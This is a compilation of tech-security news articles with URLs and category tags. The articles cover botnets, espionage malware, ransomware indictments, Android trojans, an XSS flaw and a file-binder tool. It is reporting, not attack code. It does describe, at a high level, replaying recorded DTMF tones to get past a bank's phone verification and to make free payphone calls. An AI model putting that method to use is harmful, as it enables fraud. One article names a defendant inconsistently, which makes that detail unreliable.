DRIVE SCANNER - This scans the computer's hard drive and steals files from it. The scanner is configured in such a way that it searches for specific folders which contain sensitive information such as victims' passwords.
ANONYMOUS FTP SERVER - By connecting to this server, the malware lets attackers remotely access the infected computers and browse the file system. The server can be used to upload, download, or delete files and execute commands.
VIRTUAL NETWORK COMPUTING (VNC) MODULE - This feature provides the attackers with another means to gain remote access to the compromised computers.
FTP GRABBER - This feature allows the attackers to gather login credentials for a large number of FTP clients.
WHY BOTNET RE-EMERGE AFTER TAKEDOWNS ?
According to the authorities, Ramnit botnet has been taken down, but is it guaranteed that the botnet will not re-emerged again? We have seen the took down of GameOver Zeus botnet by FBI and Europol as well, but what happened at last? Just after a month, GameOver Zeus botnet again came into operation with more nasty features.
So, What went wrong? Why Botnet take downs are ineffective? One reason could be that the organisations grab and take-down only a small fraction of command-and-control domains that build up the Botnet critical infrastructure, but leaves a majority of fraction active. This takes some months for a botnet operator to recover.
As more and more botnet networks are taken down by Law Enforcement, cyber criminals are increasingly using secondary communication methods, such as peer-to-peer or domain generation algorithms (DGA).
One of the main reasons that the Botnet re-emerged is because the author of the malware didn't get arrested. No matter how many domains are taken down or how many sinkholes researchers create, if the attackers are not arrested, nobody can stop them from building new Botnet from zero.
On this we really appreciate the FBI step to reward $3 Million for the information leading to the direct arrest or conviction of Evgeniy Mikhailovich Bogachev, the alleged author of GameOver Zeus botnet that was used by cybercriminals to steal more than $100 Million from online bank accounts.
| Malware |
HackerProof : Your Guide To PC Security | https://thehackernews.com/2012/10/hackerproof-your-guide-to-pc-security.html | With over 140,000 known computer viruses and 85,000,000 spam emails sent out each day, the likelihood of your PC coming into contact with malware such as viruses, worms, and spyware is almost guaranteed.
It is very important to secure your computer just like you would secure your house or car. Your computer can be completely taken over without your permission or knowledge if it is vulnerable and connected to the Internet. Hackers constantly scan the Internet looking for vulnerable hosts, and a computer can be infected by a worm or virus within 15 minutes of connecting to the Internet if certain precautions are not taken.
You can avoid most common infections by taking just a few steps, Here is an overview of PC security best practices and tips - "HackerProof : Your Guide To PC Security" This 53 page guide provides an objective, detailed, but easily understood walk through of PC security. By the end of this guide, you will know exactly what PC security means and, more importantly, what you need to do to keep your PC secure.
Book includes:
The history and types of modern malware
Which operating system is most secure
Good security habits that keep you safe
Software that can protect you
The importance of backing up your data
Recovering from a malware attack
Download "HackerProof" Guide
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| Malware |
miniFlame - A New cyber espionage malware discovered | https://thehackernews.com/2012/10/miniflame-new-cyber-espionage-malware.html | Kaspersky has discovered new malware dubbed 'miniFlame', cyber espionage software directly linked to Flame. This new nation-state espionage malware that has ties to two previous espionage tools known as Flame and Gauss, and that appears to be a "high-precision, surgical attack tool" targeting victims in Lebanon, Iran and elsewhere.
miniFlame, also known as SPE, was found by Kaspersky Lab's experts in July 2012, and was originally identified as a Flame module. But originally MiniFlame seems to be used to gain control of and obtain increased spying capability over select computers originally infected by the Flame and Gauss spyware.
According to Kaspersky, versions of miniFlame were created in 2010 and 2011, and some of the six variants are still considered active. It is expected that development of the malicious program could have started as far back as 2007. "MiniFlame is a high precision attack tool," said Alexander Gostev, Chief Security Expert, Kaspersky Lab, describing the malware. "Most likely it is a targeted cyber weapon used in what can be defined as the second wave of a cyberattack."
Main results of miniFlame analyses:
miniFlame aka SPE, based on the same architectural platform as Flame. It can run as a standalone program or cyber espionage as an internal component of Flame and Gauss.
The tool of cyber operates via a backdoor ("backdoor") designed to steal data and give direct access to infected systems.
Development miniFlame could have started as early as 2007 and continued until the end of 2011. Many variants appear to have been created. Today, Kaspersky Lab has identified six key corresponding to two generations 4.x and 5.x.
Unlike Flame or Gauss, responsible for a large number of infections, due to the miniFlame is much lower. According to the data from Kaspersky Lab, it would be limited to 10 or 20 machines. The total number of infections globally is estimated at 50 or 60.
The small number of infections combined with flight capabilities miniFlame information and the flexibility of its design indicates that it has been used for highly targeted cyber espionage operations and has most likely been deployed in machines already infected with Flame or Gauss.
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| Cyber_Attack |
U.S Charges Two Iranian Hackers for SamSam Ransomware Attacks | https://thehackernews.com/2018/11/samsam-ransomware-iranian-hackers.html | The Department of Justice announced Wednesday charges against two Iranian nationals for their involvement in creating and deploying the notorious SamSam ransomware.
The alleged hackers, Faramarz Shahi Savandi, 34, and Mohammad Mehdi Shah, 27, have been charged on several counts of computer hacking and fraud charges, the indictment unsealed today at New Jersey court revealed.
The duo used SamSam ransomware to extort over $6 million in ransom payments since 2015, and also caused more than $30 million in damages to over 200 victims, including hospitals, municipalities, and public institutions.
According to the indictment, Savandi and Mansouri have been charged with a total of six counts, including one count of conspiracy to commit wire fraud, one count of conspiracy to commit fraud and related activity in connection with computers, two counts of intentional damage to a protected computer, and two counts of transmitting a demand in relation to damaging a protected computer.
Since both hackers live in and operated from Iran, they have not yet been arrested by the United States authorities and the FBI has added them on their list of wanted hackers.
According to the indictment, Savandi and Mansouri created the first version of the SamSam Ransomware in December 2015 and created further refined versions of the threat in June and October 2017.
"Defendants authored various versions of the SamSam Ransomware, which was designed to encrypt data on Victim computers. SamSam Ransomware was designed to maximize the damage caused to the Victim by, for instance, also encrypting backups of the targeted computers," the indictment says.
"Defendants used a variety of methods to gain access to Victim computer networks, including exploiting known security vulnerabilities in common server software and utilizing virtual private servers such as European VPS #1 and European VPS #2 to mask their identities."
Unlike most ransomware infections, SamSam was not distributed in an unplanned way via spam email campaigns. Instead, the attackers chose potential targets and infected systems manually.
Attackers first compromised the RDP on a targeted system—either by conducting brute force attacks or using stolen credentials—and then attempted to strategically deploy SamSam throughout the network by exploiting vulnerabilities in other systems.
Once on the entire network, SamSam encrypts the system's data and demands a huge ransom payment (usually more than $50,000 which is much higher than normal) in Bitcoin in exchange for the decryption keys.
Since December 2015, SamSam has significantly targeted some large organizations, including the Atlanta city government, the Colorado Department of Transportation, several hospitals and educational institutions like the Mississippi Valley State University.
"According to the indictment, [affected victims includes] the City of Atlanta, the City of Newark, the Port of San Diego, the Colorado Department of Transportation, the University of Calgary, Hollywood Presbyterian Medical Centers, Kansas Heart Hospital, MedStar Health, Nebraska Orthopedic Hospital, and Allscripts Healthcare Solutions Inc."
The Atlanta city's officials refused to pay the ransomware, and the recovery effort cost them estimated $17 million.
Leaving behind other well-known ransomware viruses like WannaCry and NotPetya, SamSam became the largest paid ransomware of its kind with one individual victim paid $64,000.
Since Iran has no extradition policy with the United States, the indictment may not guarantee the extraditions or convictions of the two alleged hackers. But being on the wanted list of the FBI make it difficult for the duo to travel outside their country's boundary freely.
| Malware |
TapLogger Android Trojan can Determine Tapped Keys | https://thehackernews.com/2012/04/taplogger-android-trojan-can-determine.html | TapLogger Android Trojan cab Determine Tapped Keys
Today's smartphones are shipp ed with various embedded motion sensors, such as the accelerometer, gyroscope, and orientation sensors. These motion sensors are useful in supporting the mobile UI innovation and motion-based commands. However, they also bring potential risks of leaking user's private information as they allow third party applications to monitor the motion changes of smart phones.
A team of researchers from Pennsylvania State University (PSU) and IBM have devised an Android-based Trojan that can use a handset's onboard movement sensors to crack passwords.
The team created an experimental app called TapLogger, which is based on the premise that when you tap on your touch screen, you're not just interacting with the screen, but moving the entire device. So if you hit a button in the upper right corner, your phone will actually move in that direction slightly, and that subtle movement is then read by the accelerometer and other sensors built-in to your device.
TapLogger was created by Zhi Xu, a PhD candidate in the Department of Computer Science and Engineering at PSU, Kun Bai, a researcher at IBM T.J. Watson Research Center and Sencun Zhu, an associate professor of Computer Science and Engineering at PSU's College of Engineering.
Accelerometer and orientation sensor data are not protected under Android's security model, and this means that they are exposed to any application, regardless of its permissions on the system, the research team said in a paper that was presented during the ACM Conference on Security and Privacy in Wireless and Mobile Networks on Tuesday.
In August 2011, a pair of researchers from University of California proposed a similar attack and designed a concept application called TouchLogger to demonstrate it.
| Malware |
Android Malware can now steal 3D Model Of Your Location | https://thehackernews.com/2012/10/android-malware-can-now-steal-3d-model.html | It's a fact that as smartphones get more capable, the possibilities for their misuse also increase. They're already exploited by crooks to swipe personal information, but a new Android app created by the U.S. Navy is on another level entirely. It's a scary piece of malware called "PlaceRaider" that was developed by the US Naval Surface Warfare center and for now it is being viewed as just a proof of concept.
According to the MIT Technology Review, researchers at Indiana University and the Naval Surface Warfare Center have developed a new form of malware designed to record and reconstruct a victim's environment.
They has just worked out how to infect a mobile phone with a Trojan that can take photos without you knowing anything about it and send sensor data back to a server. The data are used to construct a 3D model which can be used not only to perform the reconnaissance necessary to break in, but also to steal confidential information such as bank details.
On the original page presenting an explanation of the app, the authors note that their work demonstrated "the effectiveness of using mobile devices as powerful surveillance and virtual theft platforms."
The software even shuts off the phone's speaker so someone being spied on doesn't hear the typical sound a device emits when a photo is taken. The developers do say that one way to protect yourself against virtual theft apps such as this is by ensuring that you always have antivirus software and that your shutter audio is always on.
| Malware |
50 million customers compromised in LivingSocial hack | https://thehackernews.com/2013/04/50-million-customers-compromised-in.html | LivingSocial, a daily deals website part-owned by Amazon Inc., hit by a cyber attack that may have affected more than 50 million customers and will need to reset their passwords. LivingSocial says it has 70 million members worldwide.
Leaked data includes names, e-mail addresses, dates of birth and encrypted passwords. Customers' credit card information and merchants' financial and banking information were not affected by the hack, LivingSocial said. So it looks like some personal info may have fallen into the wrong hands, but credit card and other financial details should be safe.
The cyberattack affected LivingSocial customers in North America, Australia, New Zealand, United Kingdom, Ireland and Malaysia and its LetsBonus users in Southern Europe and Latin America.
So if you're among the affected users, the hackers have just the right amount of information to phish you. The site is sending out emails to customers advising them to change their passwords.
| Cyber_Attack |
Operation Ghost Click by FBI - Online advertising scam taken Down | https://thehackernews.com/2011/11/operation-ghost-click-by-fbi-online.html | Operation Ghost Click by FBI - Online advertising scam taken Down
A gang of internet 'cyber bandits' who stole $14 million after hacking into at least 4 million computers in an online advertising scam have been arrested following a joint investigation by the FBI and Nasa. Six men are in custody in Estonia, pending extradition to the United States, following a two-year investigation into an "intricate international conspiracy" that "hijacked" millions of computers around the world and stole more than US$14-million. The FBI's two-year investigation was dubbed "Operation Ghost Click".
Computers in more than 100 countries were infected by the "DNSChanger" malware, which redirected searches for Apple's iTunes store to fake pages pretending to offer Apple software for sale, as well as sending those searching for information on the U.S. Internal Revenue Service to accounting company H&R Block, which allegedly paid those behind the scam a fee for each visitor via a fake internet ad agency.
"These defendants gave new meaning to the term 'false advertising'," said Manhattan US Attorney Preet Bharara. "As alleged, they were international cyber bandits who hijacked millions of computers at will and re-routed them to websites and advertisements of their own choosing, collecting millions in undeserved commissions for all the hijacked computer clicks and internet ads they fraudulently engineered."
Here's some screenshots from the FBI's "Check to See if Your Computer is Using Rogue DNS" instructions.
Trend Micro, which helped supply information to the FBI on DNS Changer, hailed the law enforcement operation as the "biggest cyber criminal takedown in history." Whilst the rogue DNS servers have been replaced, many may still be infected. Head here to learn about how to check if your system is part of the DNS Changer botnet.
| Malware |
Skype privacy bug that can Send Messages To The Wrong Contacts | https://thehackernews.com/2012/07/skype-privacy-bug-that-can-send.html | What if when you sent a message to someone, it had a very good chance of going to someone else in your contact list? That would be pretty scary right? That what some Skype users are reporting.
The bug was first discussed in Skype's user forums, and seems to have followed a June 2012 update of the Skype software. Skype has confirmed the bug existence and that a fix is in the works. However, the company characterizes the bug as "rare."
Purchased by Microsoft last year for $8.5 billion, the Luxemburg company which has as many as 40 million people using its service at a time during peak periods, explained that messages sent between two users were in limited cases being copied to a third party, but did not elaborate further on the matter.
Five other individuals of the Microsoft-owned program confirmed they were also seeing instant messages being sent to the wrong person from their contact list. Sometimes it's just a few messages, while other times it's a whole conversation.
Skype has, on its blog, confirmed the issue of a bug sending instant messages to wrong contacts and has promised a fix. Addressing the issue, Skype wrote, "Based on recent Skype customer forum posts and our own investigation over the past couple of days, we have identified a bug that we are working hard to fix."
| Vulnerability |
myOpenID XSS : One of the Largest OpenID provider is Vulnerable | https://thehackernews.com/2011/11/myopenid-xss-one-of-largest-openid.html | myOpenID XSS : One of the Largest OpenID provider is Vulnerable
One of the One of the Largest Independent OpenID provider "myOpenID" is Vulnerable to Cross Site Scripting (XSS) ,Discovered by "SeeMe" - Member of Inj3ct0r Team. Cross Site Scripting (or XSS) is one of the most common application-layer web attacks.
What Hacker can do - "The attackers can steal the session ID of a valid user using XSS. The session ID is very valuable because it is the secret token that the user presents after login as proof of identity until logout. If the session ID is stored in a cookie, the attackers can write a script which will run on the user's browser, query the value in the cookie and send it to the attackers. The attackers can then use the valid session ID to browse the site without logging in. The script could also collect other information from the page, including the entire contents of the page".
Proof Of Concept - Click Here
| Vulnerability |
Phone Phreaking using Bluebox Demonstrated in India | https://thehackernews.com/2012/04/phone-phreaking-using-bluebox.html | Phone Phreaking using Bluebox Demonstrated in India
Christy Philip Mathew, an Indian Information Security Instructor and Hacker demonstrated Phone Phreaking using Bluebox in his lab. This time we have something really special that would remind us the phone phreaking. Actually Phone Phreaking reminds us about the life of Kevin Mitnick, Steve Wozniak and John Drapper, mean the olden times when they used to play around with the bluebox.
What is Blue Box: This device is certainly one of the most unique pieces of electronic equipment that I have been able to collect so far. It is essentially a hacking tool disguised to look like a common 1970's Texas Instruments hand held electronic calculator. Basically a real calculator was sacrificed and modified to produce audio frequency signaling tones which allowed the user to freely (and illegally) access the Bell Telephone System long distance network.
The origin of the name "blue box" was due to the fact the some of the earliest home built versions were actually housed in blue boxes. Below is a 1970's photo found on the web showing a happy phone phreak in action with such a device.
That was just awesome and worked in the times of Mitnick. Christy Philip Mathew always used to explain these to his students but never got a chance to prove it.
One day he was just checking up his bank accounts and he came across a deduction of some amount without any reason. So he thought to call up the customer care department to make sure what exactly is going around with his account. They said bla bla bla .... Hell out of excuses. So he used to call up the customer care department more than 3 to 4 times a day to know the status of my account deduction. Every time he had to verify his Customer Identification Number and the Mobile Number before he get connected to the Customer care department. This way, He had been repeating the steps the same time again and again. In simple terms tones gets generated every single time and he was completely tired with it. So he thought of having fun around and test up something what if he record the tones generated for his mobile number and customer identification number and play it when it ask him for.
Yes, He is talking about the blue-box kind of Application via Android Phone with the help of it. So here he use ToneDef, is a small, but powerful tone dialer application featuring DTMF, bluebox, and redbox tone generation.
Next day he dialed up the customer care and when they asked him to verify by dialing my mobile number he just played the recorded tones using an android application. Finally Customer Care system got it accepted that instant and now they ask him for Customer Identification Number, So again he played the second recorded tone respectively.
On the very next day Christy Philip Mathew contacted me ( Mohit, Founder - The Hacker News ) and we decided to try this on a Public Booth to check the idea that weather we are able to call from Public booth without inserting the coin or not ? Sudden Christy plan to buy a coin operated phone terminal from eBay. It took around like 8 to 10 days to get his package.
At last Christy demonstrate the Concept and Here below in the video you can see Proof of Concept:
1.) Coin Operated Phone Terminal
2.) Customer Care Department:
3.) Land Line Phone
| Vulnerability |
British Baptist Minister's son charged with hacking US Army and Nasa Computer Systems | https://thehackernews.com/2013/10/british-baptist-ministers-son-charged.html | Son of a Baptist Minister, 28-year-old British man named Lauri Love has been charged with hacking into the computer systems of the US army, NASA and other federal agencies.
He was arrested Friday at his home in Stradishall, England by the National Crime Agency and according to the indictment alleges Love and his unnamed co-conspirators hacked into thousands of computer systems between October 2012 and October 2013. The indictment does not accuse Love of selling information or doing anything else with it for financial gain.
His father Alexander Love, 60, a Baptist minister, works as a chaplain at HMP Highpoint North. His mother Sirkka-Liisa Love, 59, also works at the jail as a teacher.
He is charged with one count of accessing a U.S. Department or agency computer without authorization and one count of conspiracy. The government said the purpose was to disrupt the operations and infrastructure of the federal government. They stole data on more than 5,000 individuals, as well as information on government budgets and procurement processes.
Love is alleged to have used the online monikers "nsh", "route", and "peace" to plot attacks from his home with three unnamed conspirators in Australia and Sweden and US authorities declined to discuss whether they had been arrested or will be arrested and extradited to the US.
"You have no idea how much we can fuck with the US government if we wanted to," Love told a hacking colleague in one exchange over Internet relay chat, prosecutors alleged. "This... Stuff is really sensitive. It's basically every piece of information you'd need to do full identity theft on any employee or contractor".
Love could be extradited to the US, where if convicted he faces up to ten years in prison and a fine for twice the damage caused. Gary McKinnon's mother, Janis Sharp, accused US authorities of targeting young British geeks, said "They are just young geeks sitting in their bedrooms; they're not murderers, they're not terrorists, they're not selling secrets, they're just searching for information,".
He has been released on bail until February and could face a maximum potential penalty of five years in prison and a $250,000 fine for each count.
| Cyber_Attack |
Over 1 Million Google Accounts Hacked by 'Gooligan' Android Malware | https://thehackernews.com/2016/11/hack-google-account.html | If you own an Android smartphone, Beware! A new Android malware that has already breached more than 1 Million Google accounts is infecting around 13,000 devices every day.
Dubbed Gooligan, the malware roots vulnerable Android devices to steal email addresses and authentication tokens stored on them.
With this information in hands, the attackers are able to hijack your Google account and access your sensitive information from Google apps including Gmail, Google Photos, Google Docs, Google Play, Google Drive, and G Suite.
Researchers found traces of Gooligan code in dozens of legitimate-looking Android apps on 3rd-party app stores, which if downloaded and installed by an Android user, malware starts sending your device's information and stolen data to its Command and Control (C&C) server.
"Gooligan then downloads a rootkit from the C&C server that takes advantage of multiple Android 4 and 5 exploits including the well-known VROOT (CVE-2013-6282) and Towelroot (CVE-2014-3153)," researchers said in a blog post.
"If rooting is successful, the attacker has full control of the device and can execute privileged commands remotely."
According to CheckPoint security researchers, who uncovered the malware, anyone running an older version of the Android operating system, including Android 4.x (Jelly Bean, KitKat) and 5.x, (Lollipop) is most at risk, which represents nearly 74% of Android devices in use today.
"These exploits still plague many devices today because security patches that fix them may not be available for some versions of Android, or the patches were never installed by the user," researchers added.
Once hack into any Android device, Gooligan also generates revenues for the cyber criminals by fraudulently buying and installing apps from Google Play Store and rating them and writing reviews on behalf of the phone's owner. The malware also installs adware to generate revenue.
How to check if your Google account has been compromised with this malware?
Check Point has published an online tool to check if your Android device has been infected with the Gooligan malware. Just open 'Gooligan Checker' and enter your Google email address to find out if you've been hacked.
If you found yourself infected, Adrian Ludwig, Google's director of Android security, has recommended you to run a clean installation of the operating system on your Android device.
This process is called 'Flashing,' which is quite a complicated process. So, the company recommends you to power off your device and approach a certified technician or your mobile service provider in order to re-flash your device.
| Malware |
New Cryptojacking Malware Targeting Apache, Oracle, Redis Servers | https://thehackernews.com/2021/02/new-cryptojacking-malware-targeting.html | A financially-motivated threat actor notorious for its cryptojacking attacks has leveraged a revised version of their malware to target cloud infrastructures using vulnerabilities in web server technologies, according to new research.
Deployed by the China-based cybercrime group Rocke, the Pro-Ocean cryptojacking malware now comes with improved rootkit and worm capabilities, as well as harbors new evasion tactics to sidestep cybersecurity companies' detection methods, Palo Alto Networks' Unit 42 researchers said in a Thursday write-up.
"Pro-Ocean uses known vulnerabilities to target cloud applications," the researchers detailed. "In our analysis, we found Pro-Ocean targeting Apache ActiveMQ (CVE-2016-3088), Oracle WebLogic (CVE-2017-10271) and Redis (unsecure instances)."
"Once installed, the malware kills any process that uses the CPU heavily, so that it's able to use 100% of the CPU and mine Monero efficiently."
First documented by Cisco Talos in 2018, Rocke has been found to distribute and execute crypto-mining malware using a varied toolkit that includes Git repositories and different payloads such as shell scripts, JavaScript backdoors, as well as portable executable files.
While prior variants of the malware banked on the capability to target and remove cloud security products developed by Tencent Cloud and Alibaba Cloud by exploiting flaws in Apache Struts 2, Oracle WebLogic, and Adobe ColdFusion, Pro-Ocean has expanded the breadth of those attack vectors by aiming at Apache ActiveMQ, Oracle WebLogic, and Redis servers.
Besides its self-spreading features and better hiding techniques that allow it to stay under the radar and spread to unpatched software on the network, the malware, once installed sets about uninstalling monitoring agents to dodge detection and removing other malware and miners from the infected systems.
To achieve this, it takes advantage of a native Linux feature called LD_PRELOAD to mask its malicious activity, a library named Libprocesshider to stay hidden, and uses a Python infection script that takes the machine's public IP to infect all machines in the same 16-bit subnetwork (e.g., 10.0.X.X).
Pro-Ocean also works to eliminate competition by killing other malware and miners, including Luoxk, BillGates, XMRig, and Hashfish, running on the compromised host. In addition, it comes with a watchdog module written in Bash that ensures persistence and takes care of terminating all processes that utilize more than 30% of the CPU with the goal of mining Monero efficiently.
"This malware is an example that demonstrates that cloud providers' agent-based security solutions may not be enough to prevent evasive malware targeted at public cloud infrastructure," Unit 42 researcher Aviv Sasson said. "This sample has the capability to delete some cloud providers' agents and evade their detection."
| Malware |
Widespread Instagram Hack Locking Users Out of Their Accounts | https://thehackernews.com/2018/08/hack-instagram-accounts.html | Instagram has been hit by a widespread hacking campaign that appears to stem from Russia and have affected hundreds of users over the past week, leaving them locked out of their accounts.
A growing number of Instagram users are taking to social media, including Twitter and Reddit, to report a mysterious hack which involves locking them out of their account with their email addresses changed to .ru domains.
According to victims, their account names, profile pictures, passwords, email addresses associated with their Instagram accounts, and even connected Facebook accounts are being changed in the attack.
Many of the affected Instagram users are also complaining about their profile photos replaced with stills from popular films, including Despicable Me 3 and Pirates of the Caribbean.
Although it is still unknown who is behind the widespread hack of Instagram accounts, the use of the email addresses originating from Russian email provider mail.ru may indicate a Russian hacker or hacking group is behind the attack, or perhaps hackers pretending to be from Russia.
First spotted by Mashable, the hack even affected Instagram users with two-factor authentication (2FA) enabled, as at least one user told Mashable that he was using 2FA, but it did nothing to stop his account from being hacked. However, it is currently unconfirmed.
In response to the report, Instagram published a blog post saying that the company continues to investigate the issue and that it has "dedicated teams helping people to secure their accounts."
"We are aware that some people are having difficulty accessing their Instagram accounts," Instagram says, pointing users to its guidance on hacked accounts to help keep their account secure.
The company advises Instagram users to keep a secure password with at least six numbers and/or letters, enable 2FA for additional security, and to revoke any suspicious third-party app that might have access to their accounts.
Instagram currently relies on text messages for two-factor authentication, which is believed to be less secure than other app-based 2FA methods, but the Facebook-owned company says it is working on improving its 2FA settings.
However, since the unknown technique being used by attackers to hack Instagram accounts is still unaddressed, there's nothing much you can do if the suspected loophole can also bypass two-factor authentication.
The motive behind the attacks is still unknown, but it appears that the attacks on Instagram are still happening at the time of writing.
For more information, users are recommended to visit the Instagram Help Centre dedicated to hacked accounts, which includes security tips as well as steps they can take to restore their account.
| Vulnerability |
Hacking Smart Electricity Meters To Cut Power Bills | https://thehackernews.com/2014/10/hacking-smart-electricity-meters-to-cut.html | Smart devices are growing at an exponential pace with the increase in connecting devices embedded in cars, retail systems, refrigerators, televisions and countless other things people use in their everyday life, but security and privacy are the key issues for such applications, which still face some enormous number of challenges.
Millions of Network-connected electricity meters or Smart meters used in Spain are susceptible to cyberattack by hackers due to lack of basic and essential security controls that could put Millions of homes at risk, according to studies carried out by a pair of security researcher.
HACKERS TO CAUSE BLACKOUT AND BILL FRAUD
The security vulnerabilities found in the electricity meters could allow an intruder to carry out billing fraud or even shut down electric power to homes and cause blackouts.
Poorly protected credentials inside the devices could let attackers take control over the gadgets, warn the researchers. The utility that deployed the meters is now improving the devices' security to help protect its network.
During an interview on Monday, the security researchers, Javier Vazquez Vidal and Alberto Garcia Illera, said the vulnerability affects smart meters installed by a Spanish utility company, the one on which the Spanish government relied in order to improve national energy efficiency.
The research carried out by the duo researchers will soon be presented at Black Hat Europe hacking conference in Amsterdam next week. The duo will explain on how they reverse engineered smart meters and found blatant security weaknesses that allowed them to commandeer the devices to shut down power or perform electricity usage fraud over the power line communications network.
SMART METER'S REPROGRAMMABLE MEMORY RUNS FLAWED CODE
The Vulnerability resides in the memory chips of the smart meters, which are reprogrammable and contain flawed code that could be exploited to remotely shut down power supplies to individual households, tamper meter readings, transfer meter readings to other customers and insert "network worms" that could leave millions of homes without power causing widespread blackouts.
Though the researchers will not provide any detail explanation on what they actually did, until the problems are fixed by the Smart meter vendor. "We are not releasing the exact details; we are not going to say how we did this," Garcia Illera, a security expert involved in the smart meter research, told Reuters. "This issue has to be fixed."
WEAK ENCRYPTION USED
According to the two researchers, the Smart meters use relatively easy to crack symmetric AES-128 encryption, which was designed to secure communications and prevent tampering with billing systems by fraudsters.
There are three major utility companies in Spain — Endesa, Iberdrola and E.ON and collectively 8 million Smart meters have been installed on over 30 percent of households. However, the two haven't yet disclosed the specific smart meter manufacturer at this time.
The duo said they could take full control of the meter box, switch its unique ID to impersonate other customer boxes or turn the meter itself into a weapon for launching attacks against the power network.
"Oh wait? We can do this? We were really scared," said Vazquez Vidal, another security expert involved in the smart meter research. "We started thinking about the impact this could have. What happens if someone wants to attack an entire country?" he said.
Internet of Things (IoTs) promise to make life easier in countless ways, but as with any technology seeing an upswing, it's to be expected that there will be associated security issues and challenges and this was what happened with the Smart meters in Spain.
| Vulnerability |
Crash Your Friends' WhatsApp Remotely with Just a Message | https://thehackernews.com/2014/12/crash-your-friends-whatsapp-remotely_1.html | A Vulnerability has been discovered in the wildly popular messaging app WhatsApp, which allows anyone to remotely crash WhatsApp just by sending a specially crafted message, two security researchers reported 'The Hacker News'.
Two India based independent security researchers, Indrajeet Bhuyan and Saurav Kar, both 17-year old teenagers demonstrated the WhatsApp Message Handler vulnerability to one of our security analyst.
In a video demonstration, they showed that how a 2000 words (2kb in size) message in special character set can crash Whatsapp messenger app. Previous it was discovered that sending a huge message ( greater than 7mb in size) on Whatsapp could crash victim device and app immediately, but using this new exploit attacker only need to send a very small size (approx 2kb) message to the victim.
The worried impact of the vulnerability is that the user who received the specially crafted message will have to delete his/her whole conversation and start a fresh chat, because opening the message keeps on crashing WhatsApp unless the chat is deleted completely.
"What makes it more serious is that one needs to delete entire chat with the person they are chatting to in order to get back whatsapp work in normal," Bhuyan told THN in an e-mail.
According to the duo, the reported vulnerability has been tested and successfully works on most of the versions of Android Operating system including Jellybean, Kitkat, and all the below android versions.
Similarly, Any member of your WhatsApp group could intentionally send a specially crafted message to exit people from the group and delete the group. Also, for example, if I don't want someone to keep records of my chat with them, then I can also send the same message exploit to the person.
The vulnerability has not been tested on iOS, but it is sure that all versions of WhatsApp including 2.11.431 and 2.11.432 are affected with this bug. Also the attack does not work on Windows 8.1.
They have also provided the Proof-of-Concept (PoC) video for the attack, users can watch above.
WhatsApp, bought by Facebook for $19 billion in February this year, has 600 Million users as of October 2014, and according to the researchers, an estimated number of users affected by the vulnerability could be 500 Million.
WhatsApp was in news recently for making end-to-end encryption on all text messages as a default feature in an effort to boost the online privacy and security of its users around the world. The app maker describe this move as the "largest deployment of end-to-end encryption ever."
| Vulnerability |
Rakabulle, Advance File Binder from DarkComet RAT Developer | https://thehackernews.com/2014/01/rakabulle-advance-file-binder-from.html | I hope you all still remember the famous and powerful Remote Administration Tool (RAT) called 'Dark Comet', developed by a French computer geek 'Jean-Pierre Lesueur', also known as 'DarkCoderSc'.
However, He had closed the Dark Comet project, when the Syrian government found to be using it to track down and to spy on their people. After that DarkCoderSc started working under a new banner 'Phrozen Software' to develop many new security softwares and penetration testing tools.
Just yesterday, Jean-Pierre and his team-mate Fabio Pinto from French University, have released a new tool called 'Rakabulle', a file binder with some cool features for penetration testers and malware researchers.
File binder is an application that allows a user to bind multiple files together, resulting in a single executable file. When you execute that single application, all previous merged files will be extracted to a temporary location, and will be executed normally.
"The builder Rakabulle application will create a stub and inject in its resource the target files to extract and execute. The stub is the little generate part of the program which is designed to extract from its resource the target files to a temporary location and execute. In our application the stub also got a part to inject in Explorer or Internet Explorer process and load custom made plugins.
Video Demo:
Listed features are:
File binder, auto file extractor and executor.
REM (Remote Code Execution), Execute code (Plugins) in target process (Explorer or Internet Explorer)
Support 32 and 64 Process.
The application is a 32bit Application (Soon we will compile the 64bit version)
Support UPX compression for the stub (Without compression stub size is about 38KiB using pure Windows API no extra libraries; with compression stub size is approximately 16KiB) The UPX compression doesn't change the way the application work only the final size.
Support Windows startup.
Doesn't require administrative privileges.
Plugins and File list support drag and drop.
Support plugins with an open source example.
The stub and the builder are coded using Unicode encoding.
The file binder application is available for Free to download from Rakabulle website.
| Malware |
Fake WeChat App Targeting Android Users with Banking Trojan | https://thehackernews.com/2014/05/fake-wechat-app-targeting-android-users.html | After Whatsapp, The Chinese WeChat is the second most popular messaging application and currently being targeted by cybercriminals to spread a new Banking Trojan in order to steal the financial information from its users.
WeChat is a famous mobile instant messaging app developed by Chinese company Tencent, with more than 355 million users across the world. The app offers people to chit-chat with their friends and relatives, and also allows users to make payments for goods and services on WeChat.
The Payment feature of the app requires users' bank account details to their messenger account and this is what tempting cybercriminals to develop new and more sophisticated banking Trojans and malwares.
The security researchers at Kaspersky Lab have uncovered such banking Trojan, dubbed as Banker.AndroidOS.Basti.a, which looks exactly like the legitimate WeChat application for Android devices. While installation, it also requires the same permissions such as to access the Internet, received SMSs, and other services just like the real Wechat app.
Researchers found that some modules of the malware app are encrypted and this feature makes it different and sophisticated from other Mobile banking malwares. The malware authors have used an effective encryption in order to prevent Banker.AndroidOS.Basti.a trojan from reverse engineering of the code.
However, the Kaspersky researchers have successfully managed to decode the threat module and found that the malware is capable to perform various types of malicious tasks, including its more professional GUI, which makes it an efficient phishing tool.
Once the malicious WeChat app installed on the victims' android devices, they are served a page asking to enter some useful information including their phone numbers, payment card numbers, PINs and other financial data.
As soon as a victim provides the personal details to the fake app, it sends them back to an email account controlled by the malware author. "This Trojan-Banker also registered a BootReceiver. It will monitor newly received text messages and uninstall broadcasts from the infected mobile." they noticed.
The email account name and password details are hard-coded in the source code of the trojan and researchers have successfully retrieved it. They logged into the attackers email account and found that the banking trojan has already made lots of victims.
As the online apps are becoming more popular among the people, hence becoming an easy and a tempting target for cyber thieves. So, its up to you to better safeguard your data privacy.
Make sure that you have installed a reputed mobile security software in your devices. Always update your software applications to the latest version and avoid providing your sensitive information to any suspicious websites or downloading any app from any untrusted source.
| Malware |
Android Privilege Escalation Flaws leave Billions of Devices vulnerable to Malware Infection | https://thehackernews.com/2014/03/android-privilege-escalation-flaws.html | Android - a widely used Smartphone platform offered by Google is once again suspected to affect its users with malicious software that puts their android devices at risk. This time the vulnerabilities occur in the way Android handle the updates to add new flavors to your device.
Researchers from Indiana University and Microsoft have discovered [Paper PDF] a new set of Android vulnerabilities that is capable to carry out privilege escalation attacks because of the weakness in its Package Management Service (PMS) that puts more than one billion Android devices at risk.
